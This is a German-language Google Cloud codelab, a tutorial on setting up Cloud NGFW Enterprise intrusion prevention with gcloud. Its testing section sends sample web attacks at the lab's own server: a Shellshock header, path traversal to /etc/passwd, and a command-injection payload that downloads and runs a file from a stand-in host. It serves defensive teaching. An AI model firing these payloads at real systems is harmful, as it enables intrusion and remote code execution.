1. Einführung
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.
Cloud NGFW bietet folgende Vorteile:
- Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
- Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Ressourcenhierarchie-Knoten angehängt werden können. Diese Richtlinien bieten eine konsistente Firewall in der gesamten Google Cloud-Ressourcenhierarchie.
- Detaillierte Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und IAM-gesteuerten Tags (Identity and Access Management) bietet eine präzise Kontrolle für Nord-Süd- und Ost-West-Traffic, bis zu einer einzelnen VM in VPC-Netzwerken und -Organisationen.
Cloud NGFW ist in den folgenden Stufen verfügbar:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise fügt dem verteilten Google Cloud-Firewall-Fabric den Intrusion Prevention Service (IPS), eine Layer-7-Funktion, hinzu. Die TLS-Prüfung wird unterstützt, um TLS-verschlüsselten Traffic zu prüfen. Sie fällt jedoch nicht in den Geltungsbereich dieses Codelabs. Weitere Informationen finden Sie im Codelab zu Cloud NGFW Enterprise mit TLS-Prüfung.
Sie können jetzt zuverlässige Layer 7-NGFW-Prüfungen (Next Generation Firewall) mit detaillierten Steuerelementen bereitstellen, ohne Änderungen an Ihrer Netzwerkarchitektur oder Routingkonfiguration vorzunehmen.
Um die Layer-7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen, müssen Sie die folgenden Aufgaben ausführen:
- Erstellen Sie eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten.
- Optional eine TLS-Prüfungsrichtlinie erstellen (in diesem Codelab nicht behandelt)
- Optional: Vertrauenskonfiguration erstellen (in diesem Codelab nicht behandelt)
- Verknüpfen Sie diese Endpunkte mit den VPC-Netzwerken (Virtual Private Cloud), in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
- Nehmen Sie einfache Änderungen an Ihren vorhandenen Firewallrichtlinien und Firewallregeln vor, um die Bedrohungspräventionsprofile für die verschiedenen Trafficpfade anzugeben.
Netzwerk-Firewallrichtlinien
Die Netzwerk-Firewallrichtlinie dient als Container für Firewallregeln. Regeln, die in einer Netzwerk-Firewallrichtlinie definiert sind, werden erst erzwungen, wenn die Richtlinie mit einem VPC-Netzwerk verknüpft ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugewiesen werden. Netzwerk-Firewallrichtlinien unterstützen IAM-verwaltete Tags (oder einfach nur Tags) in Firewallregeln, die die aktuellen Netzwerk-Tags ersetzen und verwendet werden können, um der Arbeitslast eine Identität zuzuweisen.
Die Freigabe einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Integration mit IAM-verwalteten Tags vereinfachen die Konfiguration und Verwaltung von Firewalls erheblich.
Mit der Einführung der Netzwerk-Firewallrichtlinie bestehen die Firewallrichtlinien von Google Cloud jetzt aus den folgenden Komponenten:
- Hierarchische Firewallrichtlinie
- VPC-Firewallregeln
- Netzwerk-Firewallrichtlinie ( global und regional)
Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten innerhalb der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien unter anderem für Batchupdates an ein einzelnes VPC oder eine Gruppe von VPCs angehängt werden können.
Schließlich gibt es noch die impliziten Firewallregeln, die jedem VPC-Netzwerk zugewiesen sind:
- Eine Regel für ausgehenden Traffic mit der Aktion „Zulassen“ und dem Ziel „0.0.0.0/0“
- Eine Ingress-Regel mit der Aktion „deny“ und der Quelle „0.0.0.0/0“
Standardmäßig wird die Erzwingungssequenz im folgenden Diagramm dargestellt:
Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann getauscht werden. Kunden können die Durchsetzungsanordnung jederzeit mit einem gcloud-Befehl angeben.
Von IAM verwaltete Tags
Die neuen in Netzwerk-Firewallrichtlinienregeln integrierten Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält eine IAM-Zugriffssteuerung, die angibt, wer was mit dem Tag tun kann. Mit IAM-Berechtigungen können Sie beispielsweise angeben, welche Hauptkonten den Tags Werte zuweisen können und welche Hauptkonten Tags an Ressourcen anhängen können. Nachdem ein Tag auf eine Ressource angewendet wurde, können Netzwerk-Firewallregeln es verwenden, um Traffic zuzulassen oder abzulehnen.
Tags entsprechen dem Übernahmeressourcenmodell von Google Cloud. Das bedeutet, dass Tags und ihre Werte von übergeordneten Elementen in der Hierarchie übernommen werden. So können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Auf dieser Seite finden Sie weitere Informationen zu Tags und Zugriffsbeschränkungen.
Tags sollten nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb gesetzt wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen betrachtet werden, unterliegen sie nicht der IAM-Zugriffssteuerung.
Hinweis: In diesem Dokument werden Tags und IAM-verwaltete Tags synonym verwendet.
Umfang
Für dieses Codelab ist ein einzelnes Projekt und die Möglichkeit zum Erstellen eines VPC-Netzwerks mit öffentlicher Konnektivität erforderlich. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen bereitstellen kann:
- Intra-VPC-/Subnetz-Traffic-Flüsse prüfen [Ost-West]
- Eingehende Datenflüsse aus dem Internet prüfen [Nord-Süd]
Die zu prüfenden Trafficflüsse werden anhand von Cloud Firewall-Abgleichsparametern ausgewählt, einschließlich 5-Tupels (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport) und Tags. Die TLS-Prüfung ist in diesem Codelab nicht enthalten.
Die Regelbasis der Netzwerk-Firewallrichtlinie ähnelt der folgenden Tabelle:
Priorität | Richtung | Target | Quelle | Ziel | Aktion | Typ |
100 | Ausgehender Traffic | Quarantine_Tag | Alle | Alle | Ablehnen | Essentials |
1000 | Eingehender Traffic | Server_Tag | Bereiche der Systemdiagnose | Alle | Zulassen | Essentials |
2000 | Eingehender Traffic | Alle | Identity-Aware Proxy-Bereiche | Alle | Zulassen | Essentials |
3000 | Eingehender Traffic | Alle | Geo, GCTI | Alle | Ablehnen | Standard |
4000 | Ausgehender Traffic | Alle | Alle | Geo, GCTI | Ablehnen | Standard |
5000 | Ausgehender Traffic | Alle | Alle | FQDNs für Systemupdates | Zulassen | Standard |
6000 | Eingehender Traffic | Server_Tag | 10.0.0.0/24 | Alle | IPS | Unternehmen |
7000 | Eingehender Traffic | Server_Tag | CloudNAT_IP | Alle | IPS | Unternehmen |
Aufgaben in diesem Lab
- Globale Netzwerk-Firewallrichtlinie erstellen
- Tags mit Netzwerk-Firewallrichtlinie erstellen und verwenden
- Dienst zur Einbruchsprävention von Cloud NGFW Enterprise konfigurieren und verwenden
Voraussetzungen
- Google Cloud-Projekt
- Kenntnisse im Bereitstellen von Instanzen und Konfigurieren von Netzwerkkomponenten
- Kenntnisse zur Konfiguration von VPC-Firewalls
2. Hinweis
Variablen erstellen/aktualisieren
In diesem Codelab werden $-Variablen verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu unterstützen.
Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf. Überspringen Sie die Projekteinstellung, wenn das gewünschte Projekt bereits festgelegt ist. Für Ressourcen auf Organisationsebene wird eine andere Variable verwendet, wenn beispielsweise mehrere Firewall-Endpunkte erforderlich sind.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. APIs aktivieren
Aktivieren Sie die APIs, falls Sie dies noch nicht getan haben:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise-Sicherheitsprofil und Endpunkterstellung
Da die Erstellung des Cloud NGFW-Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die grundlegende Einrichtung kann parallel dazu erfolgen.
Erstellen Sie das Sicherheitsprofil und die Sicherheitsprofilgruppe:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Erwartete Ausgabe:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Erwartete Ausgabe:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Erstellen Sie den Cloud NGFW Enterprise-Endpunkt:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (STATUS: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Optional können Sie den folgenden Befehl ausführen, um weitere Informationen zu erhalten:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Erwartete Ausgabe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Die Erstellung des Endpunkts dauert etwa 20 Minuten. Fahren Sie mit dem Abschnitt „Grundlegende Einrichtung“ fort, um die erforderlichen Ressourcen parallel zu erstellen.
5. Grundeinrichtung
Fahren Sie mit den folgenden Abschnitten fort, wenn Sie die Basisressourcen manuell erstellen möchten.
VPC-Netzwerk und ‑Subnetz
VPC-Netzwerk und ‑Subnetz
Erstellen Sie das VPC-Netzwerk und das Subnetz:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Erstellen Sie die Cloud Router und Cloud NAT-Gateways:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instanzen
Erstellen Sie die Client- und Webserverinstanzen:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Tags auf Projektebene
Weisen Sie dem Nutzer bei Bedarf die Berechtigungen „tagAdmin“ und/oder „tagUser“ zu:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Erstellen Sie den Tag-Schlüssel und die Tag-Werte auf Projektebene:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Tags an Instanzen binden:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Globale Netzwerk-Firewallrichtlinie
Globale Netzwerk-Firewallrichtlinie erstellen:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Erstellen Sie Cloud Firewall Essential-Regeln, um Traffic von unter Quarantäne gestellten Instanzen abzulehnen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet) und Traffic von Systemdiagnose- und Identity-Aware Proxy-Bereichen zuzulassen:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Erstellen Sie Standardregeln für die Cloud-Firewall, um eingehenden und ausgehenden Traffic von/nach sanktionierten Ländern, bekannten schädlichen IP-Adressen und ToR-Ausstiegsknoten zu verhindern und nur ausgehenden Traffic zu bestimmten FQDNs für Systemupdates zuzulassen. Diese Regeln werden nur zu Demonstrationszwecken erstellt und in diesem Codelab nicht verwendet:
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Erstellen Sie Cloud-Firewallregeln, um eingehenden East-West-/Intra-Subnetz- und North-South-/Internet-Traffic aus den jeweiligen Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise zu aktivieren:
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Verknüpfen Sie die Netzwerk-Firewallrichtlinie mit dem VPC-Netzwerk:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Externer TCP/UDP-Netzwerk-Load Balancer
Reservieren Sie eine externe IP-Adresse und erstellen Sie die Instanzgruppe und die Systemdiagnose:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Erstellen Sie einen Backend-Dienst und eine Weiterleitungsregel:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise-Endpunktverknüpfung
Definieren Sie die Umgebungsvariablen bei Bedarf neu.
Prüfen Sie, ob der Cloud-Firewall-Endpunkt erfolgreich erstellt wurde. Fahren Sie erst fort, wenn der Status AKTIV lautet. Während der Erstellung ist der erwartete Status WIRD ERSTELLT:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Optional können Sie den folgenden Befehl ausführen, um weitere Informationen zu erhalten:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Erwartete Ausgabe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Verknüpfen Sie den Cloud NGFW Enterprise-Endpunkt mit dem VPC-Netzwerk:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst fort, wenn der Status AKTIV lautet. Während des Erstellungsvorgangs ist der erwartete Status CREATING (WIRD ERSTELLT):
gcloud network-security firewall-endpoint-associations list
Erwartete Ausgabe:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Optional können Sie den folgenden Befehl ausführen, um weitere Informationen zu erhalten:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Erwartete Ausgabe:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW Enterprise-Prüfregeln
Öffnen Sie einen neuen Tab und stellen Sie über IAP eine SSH-Verbindung zur Client-VM her. Sie müssen die Variablen auf dem neuen Tab noch einmal definieren:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Definieren Sie die erforderlichen Variablen in der SSH-Sitzung und legen Sie sie fest. Achten Sie darauf, dass die Werte korrekt sind:
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Prüfen Sie mit curl, ob beide IP-Adressen erreichbar sind:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Erwartetes Ergebnis für beide curl-Anfragen:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Beispielangriffe an die interne Server-IP-Adresse senden (Ost-West-/VPC-interner Traffic) Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention vorhanden ist:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Senden Sie die Beispielangriffe über Cloud NAT (eingehender Nord-Süd-Traffic) an die externe Server-IP-Adresse. Der Webserver sollte ebenfalls auf alle Anfragen antworten:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Erwartete Ergebnisse sowohl für öffentliche als auch für private IP-Adressen:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Wechseln Sie zurück zu Cloud Shell und aktualisieren Sie die vorhandenen Ingress-Regeln, um die L7-Prüfung zu aktivieren:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Beschreiben Sie optional die Firewallregeln, um zu prüfen, ob beide erfolgreich aktualisiert wurden:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Erwartete Ausgabe:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regel 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Erwartete Ausgabe:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Kehren Sie zur Client-VM zurück und senden Sie die Beispielangriffe noch einmal an die interne Server-IP-Adresse (East-West-/Intra-VPC-Prüfung):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Senden Sie die Beispielangriffe über Cloud NAT (eingehende North-South-Prüfung) noch einmal an die externe Server-IP-Adresse:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Wie in der erwarteten Ausgabe unten zu sehen, werden für die ersten Angriffe keine Antworten empfangen. Das bestätigt, dass die Angriffe mit hoher Schwere jetzt blockiert werden.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Rufen Sie in der Cloud Console „Netzwerksicherheit“ > „Bedrohungen“ auf, um die Protokolle zu überprüfen. Möglicherweise müssen Sie die Seite einige Male aktualisieren, wenn die Angriffe noch nicht angezeigt werden.
Wählen Sie einen der Angriffe aus und klicken Sie rechts auf „Audit-Protokoll ansehen“. Öffnen Sie es in einem neuen Tab, um leicht zurückwechseln zu können. Maximieren Sie den Angriff, um die Details zu sehen:
Optional können Sie den Log-Explorer-Filter durch die folgende Abfrage ersetzen:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Die Einträge im Bedrohungsprotokoll sollten in etwa so aussehen:
Von der Cloud Firewall abgefangene Pakete können mit dem folgenden Log-Explorer-Filter überprüft werden (hilfreich zur Fehlerbehebung):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Fahren Sie mit der Prüfung des Internettraffics fort (optional) oder schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Kapitel mit den Schritten zur Bereinigung fort.
[Optional] Internet-Traffic-Prüfung
Wie im vorherigen Abschnitt bestätigt, sind die bisher geprüften Flüsse innerhalb des Subnetzes/VPC (Ost-West) und der einkommende Traffic aus dem Internet (Nord-Süd-Eingehend). Cloud NGFW Enterprise kann auch so konfiguriert werden, dass der gesamte Internetverkehr (ausgehender Nord-Süd-Traffic) geprüft wird. Dazu erstellen Sie mit Cloud Shell eine neue Ausgehende Regel:
